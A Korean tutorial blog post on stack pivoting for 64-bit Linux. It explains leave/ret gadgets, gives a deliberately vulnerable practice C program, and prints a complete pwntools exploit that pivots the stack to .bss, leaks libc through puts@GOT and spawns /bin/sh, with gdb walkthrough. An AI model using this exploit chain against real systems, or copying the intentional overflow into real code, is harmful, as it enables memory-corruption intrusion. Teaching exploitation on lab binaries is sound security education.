Home
System Hacking

stack pivoting(스택 피봇팅)이란?

Type
Vuln
생성 일시
2024/06/07 11:59
종류
stack

여담

아는 동생이 Stack pivoting을 공부하고 있는데 너무 어렵다고 해서 정리된 문서롤 보내주려고 했지만 적당한 문서를 찾지 못해서 직접 작성해보려고 한다. → 절대로 다른 문서가 별로라는 것이 아니라 지금 시점에서 실습이 가능한 문서가 없었다.
64bit를 기준으로 작성한 글입니다.

Stack pivoting이란?

일단 Stack pivoting이라는 공격 기법을 먼저 간단하게 말하면 SFP를 덮어서 SP(stack pointer) ex. rsp, esp를 옮기고 rbp까지 최종적으로 옮겨 공격자가 원하는 주소에 Stack Frame을 이동시키는 기법이다.

Stack pivoting을 사용하는 경우

1.
SFP를 덮고 ROP로 Exploit이 가능할 만큼 Overflow가 일어나지 않는 경우
2.
main으로 혹은 다른 특정 함수로 돌아갈 수 없는 경우(seccomp등)

Stack pivoting을 할 수 있는 경우

ROP를 통해서 Stack Frame을 원하는 주소로 이동시키기 위해서 적당한 가젯을 찾아야한다.
이를 만족하기 위해서는 두가지 조건이 필요하다.
1.
SP를 원하는 주소로 이동
2.
ret
이 두개를 만족하는 Gadget를 찾으면 공격할 준비가 끝난다. 주로 leave-ret Gadget이 많이 사용된다.
leave,ret 는 함수의 에필로그에 사용되는 명령어이다.
두개의 instruction을 하나씩 설명하겠다.

leave

해당 명령어는 현재 함수의 스택 프레임을 해제하는 역할을 진행한다.
현재 Stack && Register 상태
1.
mov rsp, rbp
rbp 레지스터의 값을 rsp 레지스터로 복사한다.
mov rsp, rbp after
2.
pop rbp
사실 pop rbp는 mov rbp, [rsp] → add rsp, 8이라고 볼 수 있다.
rsp가 저장하고 있는 메모리에 접근하여 저장 된 값을 rbp로 옮긴 뒤 rsp += 8 연산을 수행한다.
mov rbp, [rsp] after
add rsp, 8 after

ret

해당 명령어는 이전 함수의 위치로 돌아가는 역할을 진행한다.
현재 Stack && Register 상태
1.
pop rip
앞에서 설명했듯 pop ripmov rip, [rsp] → add rsp, 8로 볼 수 있다.
mov rip, [rsp] after
add rsp, 8 after
2.
jmp rip
jmp rip after

Program

일단 일어나는 과정을 설명하기 위해서 아래의 코드의 프로그램 위주로 진행한다.
pivot.zip
3.1KB

pivot.c

// gcc -o source source.c -fno-stack-protector -z now -no-pie #include <stdio.h> #include <stdlib.h> #include <unistd.h> void frame_dumy() { __asm__ __volatile__( "pop %rdi\nret\npop %rsi\npop %r15\nret" ); } int loop = 0; int main(void) { char buf[0x30]; setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); if (loop) { puts("bye"); exit(-1); } loop = 1; read(0, buf, 0x70); return 0; } //원본 코드 //https://blog.naver.com/yjw_sz/221580782633
C
복사
pivot.c

payload.py

from pwn import * # [+] checksec for '/mnt/hgfs/dreamhack/DreamHack_Wargame/stack_pivot/pivot' # Canary : ✘ # NX : ✓ # PIE : ✘ # Fortify : ✘ # RelRO : Full p = process("./pivot") e = ELF("./pivot") libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6") # ROPgadget pop_rsi_pop_r15_ret = 0x00000000004011a0 #: pop rsi ; pop r15 ; ret pop_rdi_ret = 0x000000000040119e #: pop rdi ; ret ret = 0x000000000040101a# : ret leave_ret = 0x0000000000401255 #: leave ; ret # buf_offset = rbp-0x30 # read(0, buf, 0x70) -> 0x40 overflow ! # RSP -> bss + 0x100 payload = b"A" * 0x30 # sfp overwrite -> set rbp payload += p64(e.bss() + 0x100) # ret overwrite -> read(0, bss, ?) payload += p64(pop_rdi_ret) + p64(0) payload += p64(pop_rsi_pop_r15_ret) + p64(e.bss() + 0x100) + p64(0) payload += p64(e.plt['read']) # leave ret -> stack pivoting payload += p64(leave_ret) p.send(payload) # sfp overwrite -> set rbp payload = p64(e.bss() + 0x800) # Here chagne 0x200 and debugging # puts(puts.got) -> libc leak payload += p64(pop_rdi_ret) + p64(e.got['puts']) payload += p64(e.plt['puts']) # puts return rdx -> 0x1 # rdx overwrite payload += p64(0x40123a) p.send(payload) # Leak && Get libc function address puts_leak = int.from_bytes(p.recv(8).strip(),'little') #0x000079b9a9b147d0 libc_base = puts_leak - libc.symbols['puts'] system_address = libc_base + libc.symbols['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh')) success("puts_leak : " + hex(puts_leak)) success("libc base : " + hex(libc_base)) success("system address : " + hex(system_address)) success("bin_sh address : " + hex(bin_sh)) # re overwrite payload = b"A" * 0x30 #buf_overwrite payload += b"B" * 8 #sfp overwrite # system("/bin/sh") payload += p64(ret) payload += p64(pop_rdi_ret) + p64(bin_sh) payload += p64(system_address) p.send(payload) p.interactive()
Python
복사
payload.py

정상적인 Stack

일단 정상적인 상태를 그리기 위해서 아래의 커맨드를 입력하고 디버깅을 진행한다.
gdb ./pivot b *main+174 r <<< 1234
Bash
복사
정상적으로 디버깅이 가능한 것을 확인 할 수 있고 중요한 register만 따로 뽑아보면 아래와 같다
rsp
0x00007fffffffde20
rbp
0x00007fffffffde50
rip
0x401255
Stack을 그려보겠다.
단계씩 실행한다고 가정하면 아래와 같은 과정이다.
그럼 다음으로 페이로드의 상황에서 디버깅을 진행해보겠다.

Exploit Stack

from pwn import * import time # [+] checksec for '/mnt/hgfs/dreamhack/DreamHack_Wargame/stack_pivot/pivot' # Canary : ✘ # NX : ✓ # PIE : ✘ # Fortify : ✘ # RelRO : Full p = process("./pivot") e = ELF("./pivot") libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6") gdb.attach(p, "b *main+174\nc") time.sleep(1) # ROPgadget pop_rsi_pop_r15_ret = 0x00000000004011a0 #: pop rsi ; pop r15 ; ret pop_rdi_ret = 0x000000000040119e #: pop rdi ; ret ret = 0x000000000040101a# : ret leave_ret = 0x0000000000401255 #: leave ; ret # buf_offset = rbp-0x30 # read(0, buf, 0x70) -> 0x40 overflow ! # RSP -> bss + 0x100 payload = b"A" * 0x30 # sfp overwrite -> set rbp payload += p64(e.bss() + 0x100) # ret overwrite -> read(0, bss, ?) payload += p64(pop_rdi_ret) + p64(0) payload += p64(pop_rsi_pop_r15_ret) + p64(e.bss() + 0x100) + p64(0) payload += p64(e.plt['read']) # leave ret -> stack pivoting payload += p64(leave_ret) p.send(payload) # sfp overwrite -> set rbp payload = p64(e.bss() + 0x800) # Here chagne 0x200 and debugging # puts(puts.got) -> libc leak payload += p64(pop_rdi_ret) + p64(e.got['puts']) payload += p64(e.plt['puts']) # puts return rdx -> 0x1 # rdx overwrite payload += p64(0x40123a) p.send(payload) # Leak && Get libc function address puts_leak = int.from_bytes(p.recv(8).strip(),'little') #0x000079b9a9b147d0 libc_base = puts_leak - libc.symbols['puts'] system_address = libc_base + libc.symbols['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh')) success("puts_leak : " + hex(puts_leak)) success("libc base : " + hex(libc_base)) success("system address : " + hex(system_address)) success("bin_sh address : " + hex(bin_sh)) # re overwrite payload = b"A" * 0x30 #buf_overwrite payload += b"B" * 8 #sfp overwrite # system("/bin/sh") payload += p64(ret) payload += p64(pop_rdi_ret) + p64(bin_sh) payload += p64(system_address) p.send(payload) p.interactive()
Python
복사
debug.py
그림의 편의를 위해서 주소 대신 변수명으로 설명하겠다. 헷갈리면 아래의 정보와 같이 분석을 진행하면 된다. 빨간색 → 함수의 주소 e.bss()0x404020 pop_rdi_ret0x40119e pop_rsi_pop_r15_ret0x4011a0 e.plt[’read’]0x401084 e.plt[’puts’]0x401074 e.got[’puts’]0x403fd0 leave_ret0x401255
leave에서 브레이크 걸린 Stack의 상황이다.
si로 다음 instruction을 실행해보면 아래와 같이 RSP, RBP가 이동한다.
read 함수를 통해 bss 영역으로 Stack을 변경하기 위해 ROP를 통해서 각 레지스터에 인자를 넣어준다.
read(0, bss+0x100, 충분히 큰 값);
C
복사
위와 같은 함수를 실행시키는 인자를 만들어준다.
rdi register0으로 변경하고
ret을 통해서 다음 gadget으로 이동한다.
rsi registerbss영억 + 0x100(0x404120)으로 설정하고
r15 register 0으로 만들어준다.
사실 필요없는 부분이지만 gadget에서 실행되는 부분임으로 아무 dummy 값이나 넣어준다.
ret을 통해서 다음 gadget을 실행
read(0, bss + 0x100, ?) 함수가 호출되고 read의 입력을 input data와 동일하게 넣어준다.
# sfp overwrite -> set rbp payload = p64(e.bss() + 0x800) # Here chagne 0x200 and debugging # puts(puts.got) -> libc leak payload += p64(pop_rdi_ret) + p64(e.got['puts']) payload += p64(e.plt['puts']) # puts return rdx -> 0x1 # rdx overwrite payload += p64(0x40123a) p.send(payload)
Python
복사
최종적으로 read 함수 내부에서 ret이 실행되어 다음 gadget을 실행한다.
leave를 호출하여 rsprbp로 이동시키고 pop rbp를 하여, rsprbpbss 영역으로 옮긴다.
추가로 RDI, RSI와 같은 레지스터가 ?로 변경된 것은 read 함수를 실행하면서 레지스터가 어떻게 변경되어 있을지 모르니까 ?로 표현했다.
Stack이 옮겨진 것을 확인할 수 있다.
ret을 통해서 puts 함수를 실행하기 위해 인자를 만들어주는 것을 확인할 수있다.
사실 여기까지 진행하면 stack pvioting이 끝난 것이지만 putslibc leak하는 것까지 설명하고 마치도록 하겠다.
rdi registerputs@got의 주소를 넣어준다.
ret을 통해서 다음 gadget을 실행
puts gotleak되는 것을 확인할 수 있다.
추가적으로 main+147ret한 것은 puts 함수 실행 뒤 rcx가 이상한 값으로 변경되어 read 함수를 호출하면 exploit이 불가능하여, main+147로 이동한 것이다.
나머지는 흔한 ROP payload임으로 설명은 생락.

Reference